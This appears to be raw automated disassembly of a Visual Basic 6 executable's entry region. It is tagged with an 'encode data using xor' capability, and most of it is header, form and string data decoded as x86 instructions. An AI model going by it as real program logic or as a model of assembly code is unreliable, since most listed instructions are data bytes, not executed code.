Function at 0x401f30
Capabilities:
Encode data using xor

Disassembly:
push 0x406bb0
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
dec eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dh, cl
cmp eax, 0x2388d076
jmp 0x401f9a
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x6d], cl
jae 0x401fc0
jb 0x401fd9
push edx
push esp
jo 0x401feb
inc esi
insb byte es:[edi], dx
je 0x401fcd
inc edx
outsd dx, dword [esi]
outsd dx, dword [esi]
imul ebp, dword [ecx + 0x6e], 0x67
add byte [eax], al
add byte [eax], al
add bh, bh
int3
ja 0x401f63
xchg dl, bl
sub eax, 0x73df40e6
inc edi
dec edi
mov dword [ecx], edi
in al, 0xa1
lds ebx, [ebx + 0x4f3af05a]
lodsd eax, dword [esi]
xor ebx, dword [ecx - 0x48ee309a]
or al, 0
stosb byte es:[edi], al
add byte [eax - 0x2d], ah
xchg ebx, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ah
dec ebx
add byte [eax], al
pop ecx
add byte [eax], al
add byte [eax], al
push cs
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and dword [ebx], ecx
add byte [ecx], bl
add byte [eax], al
add byte [esi], cl
add byte [esi + 0x72], ah
insd dword es:[edi], dx
inc ebx
jb 0x402066
inc esi
insb byte es:[edi], dx
je 0x402048
push ebx
arpl word [eax], bp
or eax, 0x46001001
insb byte es:[edi], dx
imul esp, dword [edi + 0x68], 0x65522074
inc edx
outsd dx, dword [esi]
outsd dx, dword [esi]
imul ebp, dword [ecx + 0x6e], 0x67
add byte [ebx], al
loopne 0x401ff3
loopne 0x402015
sbb dword [ecx], eax
add byte [edx], al
and edi, edi
invalid
invalid
popal
push edx
push ebx
arpl word [eax], bp
add eax, dword [ebx]
loopne 0x402033
loopne 0x402055
add al, 0xc0
inc eax
add byte [eax], al
add eax, 0x1e78
dec ebx
push ds
cmpsd dword [esi], dword es:[edi]
or eax, 0x1b002412
add dword [eax], eax
add byte [eax], al
mov esp, 0x1424402
add byte [0x5320534d], cl
sbb eax, dword [ecx]
add byte [eax], al
add byte [edx + eax + 0x14244], bh
or eax, 0x5320534d
popal
outsb dx, byte [esi]
jae 0x40209a
push ebx
jb 0x4020e7
inc word [ecx]
sbb al, 0
add byte [eax], al
add al, byte [esi]
add byte [ebx + 0x6f], al
insd dword es:[edi], dx
bound ebp, qword [edi + 0x36]
add byte [edi], al
add eax, 0x6902a30
lahf
push es
cmp eax, dword [ecx]
adc ebp, dword [edx]
add bh, bh
add ebx, dword [edi]
sub al, byte [eax]
inc dword [ebx]
pop ds
add byte [eax], al
add byte [ebx], al
or dword [eax], eax
push esp
js 0x40211c
push esp
jb 0x4020ef
popal
je 0x402113
add byte [edx], al
add al, 0x78
add byte [eax + 2], bl
sti
js 0x4020b3
pop eax
add bh, bl
add al, 0x2c
add dword [edx], edx
push es
add bh, bh
add esp, dword [ecx]
add byte [eax], al
add byte [esi + eax], al
add byte [esi + 0x72], al
popal
insd dword es:[edi], dx
xor eax, 0xe0030300
loopne 0x4020b1
add byte [0xf01860], al
aaa
add eax, 0x26120357
add bh, bh
add dword [ecx], eax
add byte [eax], al
add eax, 0x6d630009
push esp
arpl word [ebp + 0x64], bp
push esp
jb 0x402133
imul ebp, dword [esi + 0x64], 0x5010400
add byte [esi], ah
inc esi
imul ebp, dword [esi + 0x64], 0xf00400
lock add byte [esi + 3], ah
add byte fs:[ecx + eax], al
add eax, 0x69462600
outsb dx, byte [esi]
add byte fs:[eax + esi*8], al
add al, dh
add byte [esi + 3], ah
xchg ebp, eax
add dword [ecx], edx
or dword [eax], eax
sbb eax, 1
mov esp, 0x1424402
add byte [0x5320534d], cl
popal
dec ebp
push ebx
and byte [ebx + 0x61], dl
outsb dx, byte [esi]
jae 0x40213b
push ebx
jb 0x402188
inc word [ebx]
inc ebx
add byte [eax], al
add byte [esi], al
or al, byte [eax]
arpl word [ebp + 0x64], bp
push esp
jb 0x402172
insb byte es:[edi], dx
popal
jb 0x402134
add byte [ecx + eax], al
add al, 1
push es
add byte [ebx + 0x6c], al
popal
popal
jb 0x40213f
add al, 0xf0
add byte [eax - 0x6afc99fc], dh
add dword [ecx], edx
daa
add byte [1], bl
mov esp, 0x1424402
add byte [0x5320534d], cl
popal
outsb dx, byte [esi]
jae 0x40217f
push ebx
jb 0x4021cc
inc word [edx]
add ebx, dword [esi]
add byte [eax], al
add byte [edi], al
push es
add byte [ebx + 0x6f], al
insd dword es:[edi], dx
bound ebp, qword [edi + 0x31]
add byte [edi], al
outsd dx, dword [esi]
xor dword [eax], eax
pop es
add eax, 0x6902ee0
xchg byte [ecx], al
cmp eax, dword [ecx]
or al, byte [eax]
adc esp, dword [0x6703ff00]
or al, byte [eax]
add byte [eax + ecx], al
add byte [eax], al
inc esp
or byte [eax], al
jb 0x4021f4
push edx
push ebx
arpl word [eax], bp
call dword [eax + eax]
inc esi
push eax
push ebx
jo 0x402210
popal
inc ecx
inc esp
dec edi
jo 0x4021fb
jo 0x40221c
popal
add byte fs:[ebx], al
js 0x4021b1
sbb byte [esi], al
xchg edi, eax
sbb eax, 0x2b0f0717
add byte [0x9424c], ch
sub dword [edx], ecx
add byte [eax], al
add byte [eax], al
or byte [eax], al
xor dword [eax + eax], esi
add byte [ecx + 0x4000000c], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add al, byte [eax]
add byte [eax], al
add byte [eax], al
add dword [ecx], eax
add dword [ecx], eax
add al, byte [eax]
add dword [ecx], eax
add byte [eax], al
add byte [eax], al
or al, 0
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add dword [ecx], eax
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add dword [ecx], eax
add dword [edx], eax
add byte [ecx], al
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [ebx], al
push edx
jecxz 0x402205
add byte [eax], al
add edx, dword [edx - 0x1d]
or edx, dword [ecx - 0x62ee3171]
jecxz 0x402201
xchg ecx, eax
invalid
stosb byte es:[edi], al
add byte [ebx - 0x48], cl
push ecx
add dword [eax], eax
add byte [eax], al
mov esp, 0x1424402
add byte [0x5320534d], cl
or eax, 0x5320534d
popal
outsb dx, byte [esi]
jae 0x402239
push ebx
jb 0x402286
imul esp, dword [esi + 1], 0xc0c0c0
add ax, ax
rol al, 0
rol al, 0xc0
add byte [ecx], al
add dword [ecx], eax
or eax, 0x1000000
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add dword [eax], eax
add byte [ecx], al
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add al, byte [eax]
add dword [edi], ecx
add byte [ecx], al
add byte [eax], al
adc byte [eax], 0
add byte [eax - 0x7fffffee], al
aas
or dword [eax], eax
add byte [ecx], al
add al, 0x3f
or dword [eax], eax
add byte [ebp], ah
or byte [eax], al
add byte [eax], al
add dword [eax], eax
aas
add byte [esi + 0x3000000], al
add byte [ecx], bh
add eax, dword [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 1], dl
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add byte [esi], cl
add byte [eax], al
add byte [eax], al
push cs
add byte [eax], al
add byte [ebp + 0x53], cl
and byte [ebx + 0x61], dl
outsb dx, byte [esi]
jae 0x4022b6
push ebx
jb 0x402303
add bh, al
cld
invalid
add byte [eax], al
dec ebp
push ebx
and byte [ebx + 0x61], dl
outsb dx, byte [esi]
jae 0x4022e0
push ebx
jb 0x40232d
add bh, al
cld
invalid
add byte [eax], al
dec ebp
push ebx
and byte [ebx + 0x61], dl
outsb dx, byte [esi]
jae 0x40230a
push ebx
jb 0x402357
add byte [ebx], cl
add byte [eax + eax], cl
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add dword [eax], eax
push ss
add byte [ecx], dl
add byte [eax], al
add byte [eax], al
add dword [eax], eax
cld
test eax, 0x624dd2f1
push eax
aas
bound edx, qword [eax + 0x3f]
and eax, dword [eax]
or eax, dword [eax]
add byte [eax], al
add byte [ecx], al
add byte [ecx], al
add dword [ebp], eax
adc al, byte [eax]
add byte [eax], al
jno 0x402320
add byte [eax], al
jb 0x402324
add byte [eax], al
jae 0x402328
add byte [eax], al
inc edi
add byte [edi], al
add byte [eax], al
add byte [eax], al
push ecx
add byte [0], bh
hlt
add dword [eax], eax
add byte [eax], al
add byte [esi], cl
add byte [eax], al
add byte [ebp + 0x53], cl
and byte [ebx + 0x61], dl
outsb dx, byte [esi]
jae 0x402388
push ebx
jb 0x4023d5
add byte [edx], cl
pop es
add byte [eax], al
add byte [edi], cl
push eax
add byte [eax], cl
add byte [eax], al
add byte [ebx], cl
or byte [ebx], dl
or byte [eax], al
add byte [eax], al
add byte [eax], al
push esp
add byte [eax], cl
add byte [eax], al
add byte [eax], al
add byte [edi], dl
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop eax
add byte [edx], dl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], ch
adc al, byte [eax]
add byte [eax], al
add byte [eax], al
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
jecxz 0x4023f8
invalid
add byte [eax], al
jb 0x4023d9
lcall pe_dos_header, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jae 0x402473
or byte [eax], al
add byte [eax], al
add dword [eax], eax
je 0x40247b
or byte [eax], al
add byte [eax], al
add byte [eax], al
jne 0x402483
or byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x40248b
or al, 0
add byte [eax], al
or eax, 0x4b800000
add byte [edx], bh
or byte [eax], al
add byte [eax], al
add byte [eax], al
jnp 0x40249f
or al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
jl 0x4024a9
or byte [eax], al
add byte [eax], al
add byte [eax], al
jge 0x4024b1
and al, byte [ecx]
add byte [eax], al
jae 0x40244d
mov esi, 0x634b4200
add byte [ebp + 0x69], dl
xchg ecx, eax
add bh, dl
out 0xf7, al
add cl, bl
out 0xf9, eax
add byte [esi - 0x3cff0e2c], bh
salc
add bl, al
salc
add byte [edi - 0x5eff0b2e], dh
mov edx, 0xb9aa00dd
int 0
mov eax, dword [0xaa00ddba]
mov ecx, 0x6e3c00cd
scasd eax, dword es:[edi]
add byte [ebp + 0x69], dl
xchg ecx, eax
add byte [esi + ebp*2], bh
scasd eax, dword es:[edi]
add dl, dh
xchg ebp, eax
add byte ss:[esi - 0x44ff314a], bl
invalid